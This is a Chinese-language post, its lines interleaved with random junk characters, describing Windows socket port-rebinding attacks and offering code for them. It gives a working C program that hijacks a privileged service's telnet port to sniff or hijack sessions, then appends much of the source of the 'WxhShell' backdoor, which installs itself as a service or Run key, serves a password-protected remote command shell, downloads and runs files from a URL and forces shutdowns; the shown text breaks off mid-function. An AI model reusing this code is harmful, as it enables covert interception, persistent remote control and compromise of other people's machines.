在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M8 }M*\2 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
BI]t}7 ?Sxnq#r# saddr.sin_family = AF_INET;
6u}NI!he 7:%K-LeaQu saddr.sin_addr.s_addr = htonl(INADDR_ANY);
A-$BB=Ot 5i?U- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
0=DawJ9 <H/H@xQ8G 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
5?MvO]_ <|iU+.j\ 这意味着什么?意味着可以进行如下的攻击:
')V5hKb^ -y(V- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
B=Os?'2[ 0]~n8mB> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
.Ps;O XN;eehB?aE 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
H !u:P?j@\ 8=9sIK2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
W=m_G]"L Fu/CX4R_| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
;|y,bo@sJJ \tqAv'jA| 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
f7s.\ Dn?L 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;4IP7$3G c[$oR,2b13 #include
L)5nb-qp #include
6dUP's_ #include
H<yec" #include
JGe;$5|q8 DWORD WINAPI ClientThread(LPVOID lpParam);
j@2 hI,+ int main()
FzIA>njt {
H>]x<#uz) WORD wVersionRequested;
=$Z'F<|d DWORD ret;
HApP*1J^c WSADATA wsaData;
_p.{|7 BOOL val;
m.*+0NG SOCKADDR_IN saddr;
Q~kwUZ SOCKADDR_IN scaddr;
u4'Lm+&O int err;
uJ$,e5q SOCKET s;
z4goa2@Z SOCKET sc;
G`z48 int caddsize;
Su7?-vY HANDLE mt;
lzuZv$K DWORD tid;
HChewrUAn wVersionRequested = MAKEWORD( 2, 2 );
7d*<'k]{, err = WSAStartup( wVersionRequested, &wsaData );
s7?kU3y=s if ( err != 0 ) {
~6nQ- printf("error!WSAStartup failed!\n");
N_0O"" d return -1;
GZw<Y+/V"5 }
wkGF&U saddr.sin_family = AF_INET;
?8 F7BS4oQ Yq_zlxd%F //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
~gc)Ww0(Q {~"=6iyj saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
}!LYV saddr.sin_port = htons(23);
P,wJ@8lv if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
0)NHjKP {
l?q^j;{Dw printf("error!socket failed!\n");
P
dJ*'@~i return -1;
^:#%TCJ }
'9)@ U+yfQ val = TRUE;
WA/\x //SO_REUSEADDR选项就是可以实现端口重绑定的
BhjXNf9[ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
`6A"eDa {
]Vsze4>Z[ printf("error!setsockopt failed!\n");
1\p[mN return -1;
zSO[f }
<3bh-) //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
~"N]%Cu //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
vC7sJIch2< //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
ZttL*KK _W+TZa@_ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
rW^&8E[ {
+uA<g`4 ret=GetLastError();
4)ISRR printf("error!bind failed!\n");
9pgct6BO return -1;
0[];c$r< }
uFqH_04 listen(s,2);
BSz\9 eT while(1)
Wac8x%J
{
-=RXhE_{ caddsize = sizeof(scaddr);
2g$Wv :E3 //接受连接请求
K6X1a7 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
j405G4BVW if(sc!=INVALID_SOCKET)
t^'1Ebg {
DM&"oa50 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#FcYJH if(mt==NULL)
CeQcnJU {
e:l 6; printf("Thread Creat Failed!\n");
"`S61m_ break;
bk<3oI }
dM') <lF }
N%-nxbI\ CloseHandle(mt);
ft7wMi }
=p"0G %+% closesocket(s);
^c5(MR7LD WSACleanup();
U:>O6" return 0;
Eq?o/'e }
fTeo,N DWORD WINAPI ClientThread(LPVOID lpParam)
gUMUh]j {
25(\'484> SOCKET ss = (SOCKET)lpParam;
m0 P5a%D SOCKET sc;
\rJk[Kec unsigned char buf[4096];
ZjcJYtD SOCKADDR_IN saddr;
S("bN{7nE long num;
q=bXHtU DWORD val;
*8N~Zmz DWORD ret;
Oe27 3Y^e //如果是隐藏端口应用的话,可以在此处加一些判断
"FU|I1Xz //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
E.}Zmr#H saddr.sin_family = AF_INET;
y.nw6.`MR saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
V)]&UbEL| saddr.sin_port = htons(23);
| @YN\g K; if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
*M*k-Z':.* {
^j`
vk printf("error!socket failed!\n");
k@2gw]y" return -1;
ei5 S <n }
itP_Vxo/H val = 100;
^uj+d"a) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
[bp"U*!9P {
iqU}t2vFrj ret = GetLastError();
IFgF5VG6g return -1;
v/.2Z(sZ }
+bXZE if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
p)oW'#@a {
OjCT%6hy; ret = GetLastError();
_Sg29qFK return -1;
Fh"S[e }
ReRRFkO"2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}PXWRv.gW {
BZj[C=#x printf("error!socket connect failed!\n");
H [v~ closesocket(sc);
Cn"N5(i closesocket(ss);
gk&?h7P"< return -1;
B8PF}Mf }
#Kl;iY:n while(1)
8P*n|]B.' {
n0m9|T& //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
cO8;2u,Gvi //如果是嗅探内容的话,可以再此处进行内容分析和记录
_CZ* z //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
t5_`q(: num = recv(ss,buf,4096,0);
;(afz?T if(num>0)
]oY~8HW send(sc,buf,num,0);
k\[2o else if(num==0)
56)B/0= break;
0L6L_;o num = recv(sc,buf,4096,0);
<7zpH SFBq if(num>0)
V_~wWuZ- send(ss,buf,num,0);
r*g _ else if(num==0)
;)kBJ @ break;
2P|-V} ;9 }
~vXul`x closesocket(ss);
1eJ\CdI closesocket(sc);
%ry>p(-pC( return 0 ;
K'tz_:d| }
}O>IPRZ cmI8Xf]"P- Ik,w3 }*P* ==========================================================
@bPJ}C wD<G+Y} 下边附上一个代码,,WXhSHELL
o ).pF">jh U` U/|@6 ==========================================================
QZ`<+"a0 N@VD-}E #include "stdafx.h"
5
9X|l&/ -LY_7Kg #include <stdio.h>
jPd<h{js #include <string.h>
q^Z\V? #include <windows.h>
hImCy9i} #include <winsock2.h>
v`fUAm/ #include <winsvc.h>
irm8z|N- #include <urlmon.h>
6->b(B V
$ ,lUo@+ #pragma comment (lib, "Ws2_32.lib")
zbnQCLs #pragma comment (lib, "urlmon.lib")
'FVT"M~ Ia\Nj
_-%L #define MAX_USER 100 // 最大客户端连接数
OJK/> #define BUF_SOCK 200 // sock buffer
+VeLd+Q} #define KEY_BUFF 255 // 输入 buffer
crT[;w $p0s #define REBOOT 0 // 重启
NUU}8a(K #define SHUTDOWN 1 // 关机
MhsG9q_% 3aOFpCs|# #define DEF_PORT 5000 // 监听端口
SX4p(t k.0C*3' #define REG_LEN 16 // 注册表键长度
KIS.4nt#d" #define SVC_LEN 80 // NT服务名长度
]uZH 0 u-W=~EO5# // 从dll定义API
zb4g\H
0 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
eyM3W}[S$/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
h~1QmEat typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
&><`? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
fx|9*|E ^?A+`1- // wxhshell配置信息
-Av/L>TxlI struct WSCFG {
:Y'nye3: int ws_port; // 监听端口
p[wjHfIq char ws_passstr[REG_LEN]; // 口令
3ty){#: int ws_autoins; // 安装标记, 1=yes 0=no
y5#_@ char ws_regname[REG_LEN]; // 注册表键名
w.3R1}R char ws_svcname[REG_LEN]; // 服务名
\<8!b{F char ws_svcdisp[SVC_LEN]; // 服务显示名
XC$~! char ws_svcdesc[SVC_LEN]; // 服务描述信息
^T[#rNkeL char ws_passmsg[SVC_LEN]; // 密码输入提示信息
@4|/| ! int ws_downexe; // 下载执行标记, 1=yes 0=no
0eLK9u3< char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
^\I$tnY` char ws_filenam[SVC_LEN]; // 下载后保存的文件名
p<jr&zVEc> ^>"?!lv };
MnQ_]cC i!iODt3k // default Wxhshell configuration
v!uLd.( struct WSCFG wscfg={DEF_PORT,
BE2{qO{ "xuhuanlingzhe",
,..b)H5n 1,
[q@%)F "Wxhshell",
G9i#_ "Wxhshell",
jyC6:BNust "WxhShell Service",
@|@43}M]C- "Wrsky Windows CmdShell Service",
t|q=NK/ "Please Input Your Password: ",
}>w;
+XU 1,
d?K8Ygz "
http://www.wrsky.com/wxhshell.exe",
dO@iq^9- "Wxhshell.exe"
9~_6mR< };
Gl:ASPZ6 x:x QXjJ // 消息定义模块
r3kI'I|bq char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
_H,RcpyJ char *msg_ws_prompt="\n\r? for help\n\r#>";
6i4j(P char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
V;V9_qP, char *msg_ws_ext="\n\rExit.";
\5Jv;gc\\ char *msg_ws_end="\n\rQuit.";
p
c],H char *msg_ws_boot="\n\rReboot...";
+D@R'$N char *msg_ws_poff="\n\rShutdown...";
?,NAihN] char *msg_ws_down="\n\rSave to ";
oW_WW$+N (nzt}i0 char *msg_ws_err="\n\rErr!";
x#^kv) char *msg_ws_ok="\n\rOK!";
OrBFe *2y c>g%oE char ExeFile[MAX_PATH];
W@tLT[}CG int nUser = 0;
:-Pj )Y{I HANDLE handles[MAX_USER];
)N/KQ[W int OsIsNt;
7Tbk ti; F)@<ZE SERVICE_STATUS serviceStatus;
\9p;md` SERVICE_STATUS_HANDLE hServiceStatusHandle;
6yb<4@LOb v^tKT& // 函数声明
*/)gk=x8 int Install(void);
U`Zn*O~/ int Uninstall(void);
q~3&f int DownloadFile(char *sURL, SOCKET wsh);
lySa Jd int Boot(int flag);
QZlUUj\
void HideProc(void);
6D0,ME# int GetOsVer(void);
G!\xc int Wxhshell(SOCKET wsl);
S%oGBY*Z void TalkWithClient(void *cs);
v<wT`hiKW int CmdShell(SOCKET sock);
R32d(2%5K int StartFromService(void);
F0\ry "(t int StartWxhshell(LPSTR lpCmdLine);
&u8c!;y$b "DpQnhvbB VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JF
gN VOID WINAPI NTServiceHandler( DWORD fdwControl );
ry0 =N^ Pz 'Hqvd // 数据结构和表定义
?<;<#JN SERVICE_TABLE_ENTRY DispatchTable[] =
?KN_J {
3(%,2 {wscfg.ws_svcname, NTServiceMain},
#!/Nmd=Nj {NULL, NULL}
8'_Y=7b0Nw };
LPO" K"'w S\A[Z&k0
// 自我安装
hd~rC*I int Install(void)
rx/6x(3 {
;qMlGXW*q char svExeFile[MAX_PATH];
V'.|IuN HKEY key;
@-}]~|< strcpy(svExeFile,ExeFile);
brWt =S,<yQJ // 如果是win9x系统,修改注册表设为自启动
9o`3g@6z if(!OsIsNt) {
7 SZR#L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
:+Kesa:E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
0h#M)Ft RegCloseKey(key);
TE~@Bl;{?c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
H JiP:{ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]@YQi<d2^ RegCloseKey(key);
C)w*aU,( return 0;
,whNh }
mxGN[%ve }
V*}zwms6 }
m##=iB|; else {
9:o3JGHSc B*IDx`^Y // 如果是NT以上系统,安装为系统服务
6K}=K?3Z SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
iE(grI3 if (schSCManager!=0)
=HHg:" {
_=5ZB_I SC_HANDLE schService = CreateService
P{18crC[1 (
DF2&j! schSCManager,
Ysu/7o4 wscfg.ws_svcname,
1tW:(~=a; wscfg.ws_svcdisp,
+b W|Q>u SERVICE_ALL_ACCESS,
$P3nP=mf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
5b p"dIe SERVICE_AUTO_START,
Hea<!zPH SERVICE_ERROR_NORMAL,
W<"\hQI svExeFile,
`@7tWX0 NULL,
9 NQq=@ NULL,
n~j[Pw NULL,
Sj?sw]3 NULL,
R:?vY! NULL
`x)bw );
|m- `,
we if (schService!=0)
g/p
}r. {
4a!7|}W CloseServiceHandle(schService);
(+dRD]|T CloseServiceHandle(schSCManager);
vq1&8=
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,np`:fBMy strcat(svExeFile,wscfg.ws_svcname);
;0}2@Q2@ZK if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mC92J@m/L! RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
PBtU4) RegCloseKey(key);
E e>j7k.G. return 0;
uW=NH;u }
"~C#DZwt{ }
D5u"4\g<& CloseServiceHandle(schSCManager);
#Ca's'j&f }
Q%Q?q)x }
VAGMI+ - 4tJ4X' U return 1;
0!`7kZrN }
~e9INZe-j !U:s.^{ // 自我卸载
ecpUp39\ int Uninstall(void)
y#;VGf6lj {
~79Qg{+]N HKEY key;
Tj5@OcA$ J5_Y\@ if(!OsIsNt) {
N'P,QiR,z< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.+}o'rU RegDeleteValue(key,wscfg.ws_regname);
[nIG_j>D-f RegCloseKey(key);
389.&`Q%Ut if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a] =\h'S RegDeleteValue(key,wscfg.ws_regname);
L]N2rMM RegCloseKey(key);
92VX5?Cyg return 0;
`e>F<{
M6@ }
@n*D>g }
k=2l9C3Z }
Cf[F`pFM else {
Gj`Y2X2r cE5Zxcn SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
?^ezEpW if (schSCManager!=0)
`sy &dyM {
3,I >.3 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
b.q"s6u if (schService!=0)
A>%UYA {
h^kNM8 if(DeleteService(schService)!=0) {
GY]6#>D#7 CloseServiceHandle(schService);
}, &,Dt CloseServiceHandle(schSCManager);
l~TIFmHkh% return 0;
Gj8[*3d }
8:?Q(M7 CloseServiceHandle(schService);
sJK:xk.6! }
(Zg'pSs) CloseServiceHandle(schSCManager);
y6jmn1K }
gzCMJ<3!D }
c_$&Uii p[F=L P return 1;
^.kAZSgO }
ZQ-`l:G qbq<O %g= // 从指定url下载文件
9^#gVTGXv int DownloadFile(char *sURL, SOCKET wsh)
0gD59N'C {
K6*UFO4}i HRESULT hr;
vq:OH
H char seps[]= "/";
i2a"J&,6O char *token;
L_1_y, 0N char *file;
1 lCikS^c char myURL[MAX_PATH];
Jo aDX , char myFILE[MAX_PATH];
|\n)<r_ X#I`(iHY strcpy(myURL,sURL);
m2q;^o:J token=strtok(myURL,seps);
'h6}cw+K while(token!=NULL)
fMEv85@JL {
aU<D$I file=token;
*8X9lv.Z token=strtok(NULL,seps);
R5&$h$[/ }
dF11Rj,~ 8 ^x"c0R^ GetCurrentDirectory(MAX_PATH,myFILE);
|5B,cB_ strcat(myFILE, "\\");
FWpN:|X BS strcat(myFILE, file);
4:e q{n send(wsh,myFILE,strlen(myFILE),0);
Y:!/4GF send(wsh,"...",3,0);
xCp+<|1 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K1/gJ9+(\ if(hr==S_OK)
{&}/p-S return 0;
4IP\iw#w else
j)tCr Py return 1;
JlDDM
% >+jbMAYSq }
acYoOW1G +V);'"L // 系统电源模块
Z:lB:U'o int Boot(int flag)
AK
s39U' {
)Z8"uRTb0 HANDLE hToken;
R(?<97 TOKEN_PRIVILEGES tkp;
[mf7>M`p]@
J"Y if(OsIsNt) {
iPY vePQ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
SeNF!k% Y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
7hN6IP*so tkp.PrivilegeCount = 1;
Dj
]Hgg tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
mj~N]cxB AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(\mulj if(flag==REBOOT) {
#S53u?JV8 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
5} MlZp return 0;
ELrZ8&5G }
"gbnLKs else {
q?Ku}eID3 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
UC+7-y, return 0;
le^_6|ek }
mzV"G>,o }
/,Dwu?Lcqp else {
]o[X+;Tj| if(flag==REBOOT) {
3:~l2KIP4 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
y@kcXlY return 0;
3 $$5Mk(&